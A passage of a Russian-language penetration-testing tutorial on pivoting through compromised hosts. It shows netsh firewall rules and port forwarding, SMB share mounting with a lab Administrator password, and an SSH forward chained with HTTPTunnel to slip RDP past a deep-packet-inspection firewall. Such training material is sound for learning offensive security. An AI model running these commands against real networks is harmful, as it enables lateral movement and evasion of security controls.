TCP 10.11.0.22:4455 0.0.0.0:0 LISTENINGЛистинг 28 - Проверка открытия порта после создания перенаправления с использованием netsh
По умолчанию брандмауэр Windows будет запрещать входящие соединения на TCP-порте 4455, что не позволит нам взаимодействовать с нашим туннелем. Учитывая, что мы работаем с привилегиями SYSTEM, мы можем легко исправить это, добавив правило брандмауэра, разрешающее входящие соединения на этом порту.
Эти опции netsh понятны сами по себе, но обратите внимание, что мы разрешаем (action=allow) определенные входящие (dir=in) соединения и используем брандмауэр (advfirewall) контекст netsh.
Код:
C:\Windows\system32> netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=10.11.0.22 localport=4455 action=allow
Ok.Листинг 29 - Использование netsh для разрешения входящего трафика на TCP порт 4455
В качестве последнего шага мы можем попробовать подключиться к нашей скомпрометированной машине Windows на порт 4455 с помощью smbclient. Если все прошло по плану, трафик перенаправится и вернет доступные сетевые ресурсы на компьютере Windows Server 2016 во внутренней сети.
Как и в предыдущем сценарии, необходимо настроить Samba на использование минимальной версии SMBv2. Это лишнее, но для полноты мы включим команды здесь:
Код:
kali@kali:~$ sudo nano /etc/samba/smb.conf'
kali@kali:~$ cat /etc/samba/smb.conf
...
Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
; write list = root, @lpadmin
min protocol = SMB2
kali@kali:~$ sudo /etc/init.d/smbd restart
[ ok ] Restarting smbd (via systemctl): smbd.service.
kali@kali:~$ smbclient -L 10.11.0.22 --port=4455 --user=Administrator
Unable to initialize messaging context
Enter WORKGROUP\Administrator's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.11.0.22 failed (Error NT_STATUS_IO_TIMEOUT)
Failed to connect with SMB1 -- no workgroup availableЛистинг 30 - Список доступных сетевых ресурсов на Windows Server 2016 через local port forwarding с использованием NETSH
Мы успешно получили список ресурсов, но smbclient сгенерировал ошибку. Эта проблема таймаута, как правило, вызвана ошибкой переадресации портов, но давайте протестируем это и определим, сможем ли мы взаимодействовать с ресурсами.
Код:
kali@kali:~$ sudo mkdir /mnt/win10_share
kali@kali:~$ sudo mount -t cifs -o port=4455 //10.11.0.22/Data -o username=Administrat
or,password=Qwerty09! /mnt/win10_share
kali@kali:~$ ls -l /mnt/win10_share/
total 1
-rwxr-xr-x 1 root root 7 Apr 17 2019 data.txt
kali@kali:~$ cat /mnt/win10_share/data.txt
dataЛистинг 31 - Монтирование удаленного ресурса, доступного на Windows 2016 Server с использованием port forward
Как видно из приведенных выше команд, эта ошибка запрещает нам просматривать список рабочих групп, но она не влияет на нашу способность монтировать ресурс. Перенаправление портов прошло успешно.
HTTP-туннелирование с помощью глубокой проверки пакетов
Пока что мы прошли через брандмауэры на основе портовых фильтров и проверки состояния. Однако, некоторые устройства глубокой проверки содержимого пакетов могут допускать только определенные протоколы. Если, например, SSH протокол не разрешен, все туннели, которые использовали этот протокол, не будут работать.
Чтобы продемонстрировать это, мы рассмотрим новый сценарий. Подобно нашим *NIX-сценариям, предположим, что мы скомпрометировали сервер Linux через уязвимость, повысили наши привилегии до уровня root и получили доступ к паролям как для пользователя root, так и для других пользователей на этом компьютере.
Несмотря на то, что наш скомпрометированный сервер Linux на самом деле не имеет глубокой проверки пакетов, для целей данного сценария будем считать, что глубокая проверка содержимого пакетов есть и позволяет использовать только протокол HTTP. В отличие от предыдущих сценариев, туннель SSH здесь работать не будет.
К тому же, брандмауэр в этом сценарии разрешает только порты 80, 443 и 1234 на вход и выход. Порты 80 и 443 разрешены, поскольку эта машина является веб-сервером, но 1234, очевидно, был пропущен, так как в настоящее время он не используется.
Для того, чтобы смоделировать этот сценарий, мы запустим скрипт http_tunneling.sh на нашем выделенном компьютере Linux:
Код:
root@debian:~# cat /root/port_forwarding_and_tunneling/http_tunneling.sh
#!/bin/bash
# Clear iptables rules
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables -X
# SSH Scenario
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 1234 -m state --state NEW -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
root@debian:~# /root/port_forwarding_and_tunneling/http_tunneling.shЛистинг 32 - Содержимое скрипта http_tunneling.sh
В этом случае наша цель - создать подключение удаленного рабочего стола с компьютера Kali Linux к Windows Server 2016 через скомпрометированный Linux-сервер, используя только HTTP-протокол.
Мы будем использовать
Ссылка скрыта от гостей
для инкапсуляции нашего трафика в HTTP-запросы, создавая "HTTP-туннель". HTTPTunnel использует модель клиент/сервер, и нам нужно будет сначала установить инструмент, а затем запустить и клиент, и сервер.Мы можем установить HTTPtunnel из репозиториев Kali Linux следующим образом:
Код:
kali@kali:~$ apt-cache search httptunnel
httptunnel - Tunnels a data stream in HTTP requests
kali@kali:~$ sudo apt install httptunnel
...Листинг 33 - Установка HTTPTunnel из репозиториев Kali Linux
Для начала мы опишем схему движения информации, которую нам надо создать.
Во-первых, помните, что у нас есть шелл на внутреннем сервере Linux. Этот шелл работает чтолько через HTTP (который является единственным протоколом, разрешенным через брандмауэр), и мы подключены к нему через TCP-порт 443 (уязвимый сервисный порт).
Мы создадим на этом компьютере local port forward, привязанный к порту 8888, который будет переадресовывать все соединения на сервер Windows на порт удаленного рабочего стола 3389. Обратите внимание, что эта переадресация порта не подвержена влиянию ограничения протоколом HTTP, так как оба компьютера находятся в одной и той же сети и трафик не проходит через устройство глубокой проверки пакетов. Однако, ограничение протокола создаст нам проблему при попытке создания туннеля от сервера Linux к нашей интернет-машине Kali Linux. Именно здесь будет заблокирован наш SSH туннель из-за запрещенного протокола.
Чтобы решить эту проблему, мы создадим туннель на основе HTTP (разрешенный протокол) между компьютерами используя HTTPTunnel. "Вход" этого HTTP туннеля будет на нашей машине Kali Linux (localhost port 8080) и туннель "выведет" на скомпрометированную Linux-машину на прослушивающий порт 1234 (через брандмауэр). Здесь HTTP-запросы будут декапсулированы, а трафик будет передаваться на порт 8888 (все еще на скомпрометированном Linux-сервере), который, благодаря нашему SSH local forward, перенаправится на порт Remote Desktop нашей цели Windows.
После этого мы инициируем сеанс Remote Desktop на нашем компьютере Kali на порту 8080. Запрос будет инкапсулирован по HTTP, отправлен через HTTPTunnel как HTTP-трафик на порт 1234 на сервере Linux, декапсулирован и, наконец, отправлен на порт Remote Desktop целевого Windows компьютера.
Прежде чем двигаться дальше, необходимо разобраться со схемой traffic flow. Переадресация портов с помощью инкапсуляции может быть сложной, потому что мы должны учитывать правила брандмауэра, ограничения использования протокола, а также входящие и исходящие распределения портов. Часто помогает взять паузу и составить карту или схему, как показано на рисунке 9 ниже, перед выполнением фактических команд. Этот процесс достаточно сложен без попыток разобраться одновременно и в логическом потоке, и в синтаксисе.
Рисунок 9: HTTP инкапсуляция
Чтобы начать построение туннеля, мы создадим локальный SSH port forward между нашей скомпрометированной Linux-машиной и целевым удаленным Remote Desktop Windows. Помните, что протокол здесь не имеет значения (SSH разрешен), так как этот трафик не подвержен влиянию глубокой проверки пакетов во внутренней сети.
Для этого мы создадим локальную переадресацию (-L) с этой машины (127.0.0.1) и войдем в систему как student, используя новый пароль, который мы создали после эксплуатации. Мы перенаправим все запросы пришедшие на порт 8888 (0.0.0.0:8888) на порт Remote Desktop Windows Server (192.168.1.110:3389):
Код:
www-data@debian:/$ ssh -L 0.0.0.0:8888:192.168.1.110:3389 student@127.0.0.1
ssh -L 0.0.0.0:8888:192.168.1.110:3389 student@127.0.0.1
Could not create directory '/var/www/.ssh'.
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:RdJnCwlCxEG+c6nShI13N6oykXAbDJkRma3cLtknmJU.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
student@127.0.0.1's password: lab
...
student@debian:~$ ss -antp | grep "8888"
ss -antp | grep "8888"
LISTEN 0 128 *:8888 *:*Листинг 34 - Проброс TCP порта 8888 нашего скомпрометированного Linux компьютера на TCP порт 3389 компьютера Windows Server 2016
Далее, мы должны создать HTTPTunnel на нашей Kali Linux, чтобы обойти ограничение использования только HTTP-протокола. Как упоминалось выше, HTTPTunnel использует как клиента (htc), так и сервер (hts).
Мы настроим сервер (hts), который будет прослушивать на локальном порту 1234, декапсулировать трафик из входящего HTTP потока и перенаправить его на локальный порт 8888 (--forward-port localhost:8888), который, благодаря предыдущей команде, перенаправляется на порт Remote Desktop Windows:
Код:
student@debian:~$ hts --forward-port localhost:8888 1234
hts --forward-port localhost:8888 1234
student@debian:~$ ps aux | grep hts
ps aux | grep hts
student 12080 0.0 0.0 2420 68 ? Ss 07:49 0:00 hts --forward-port lo
calhost:8888 1234
student 12084 0.0 0.0 4728 836 pts/4 S+ 07:49 0:00 grep hts
student@debian:~$ ss -antp | grep "1234"
ss -antp | grep "1234"
LISTEN 0 1 *:1234 *:* users:(("hts",pid=12080,fd=4))Листинг 35 - Настройка серверного компонента HTTPTunnel
Команды ps и ss показывают, что сервер HTTPTunnel работает.
Далее нам нужен клиент HTTPTunnel, который будет принимать наш трафик Remote Desktop, инкапсулировать его в поток HTTP и посылать его на прослушивающий HTTPTunnel сервер. Эта команда (htc) будет прослушивать на локальном хосте порт 8080 (--forward-port 8080), инкапсулировать HTTP-трафик и пересылать его через брандмауэр на наш прослушивающий HTTPTunnel сервер по порту 1234 (10.11.0.128:1234):
Код:
kali@kali:~$ htc --forward-port 8080 10.11.0.128:1234
kali@kali:~$ ps aux | grep htc
kali 10051 0.0 0.0 6536 92 ? Ss 03:33 0:00 htc --forward-port 8
080 10.11.0.128:1234
kali 10053 0.0 0.0 12980 1056 pts/0 S+ 03:33 0:00 grep htc
kali@kali:~$ ss -antp | grep "8080"
LISTEN 0 0 0.0.0.0:8080 0.0.0.0:* users:(("htc",pid=2692,fd=4))Листинг 36 - Настройка клиентского компонента HTTPTunnel
Опять, команды ps и ss показывают, что клиент HTTPTunnel запущен и работает.
Теперь весь трафик, посылаемый на TCP-порт 8080 компьютера Kali Linux, будет перенаправлен в HTTPTunnel (где он инкапсулируется в HTTP, перешлется через брандмауэр на скомпрометированный Linux-сервер и декапсулируется) и снова перенаправлен на службу Remote Desktop Windows Server.
Мы можем проверить, что это работает, запустив Wireshark для прослушивания трафика и проверки его HTTP-инкапсулирования, перед тем как начать подключение к Remote Desktop на порту 8080 нашего Kali Linux:
Рисунок 10: Вход RDP на Windows Server 2016 через туннель HTTP
Отлично! Подключение к удаленному рабочему столу прошло успешно.
Проверяяя трафик в Wireshark, мы подтверждаем, что он действительно HTTP-инкапсулирован, и обошел бы устройство глубокой проверки содержимого пакетов.
Рисунок 11: Проверка инкапсуляции HTTP трафика в Wireshark
Заключение
Заключение
В этом разделе мы рассмотрели техники перенаправления портов (port forwarding) и туннелирования (tunneling). В разделе показаны инструменты для применения этих техник в операционных системах windows и *NIX, позволяющие обходить различные ограничения, накладываемые фаерволами и устройствами глубокого анализа пакетов (deep packet inspection).
Последнее редактирование:
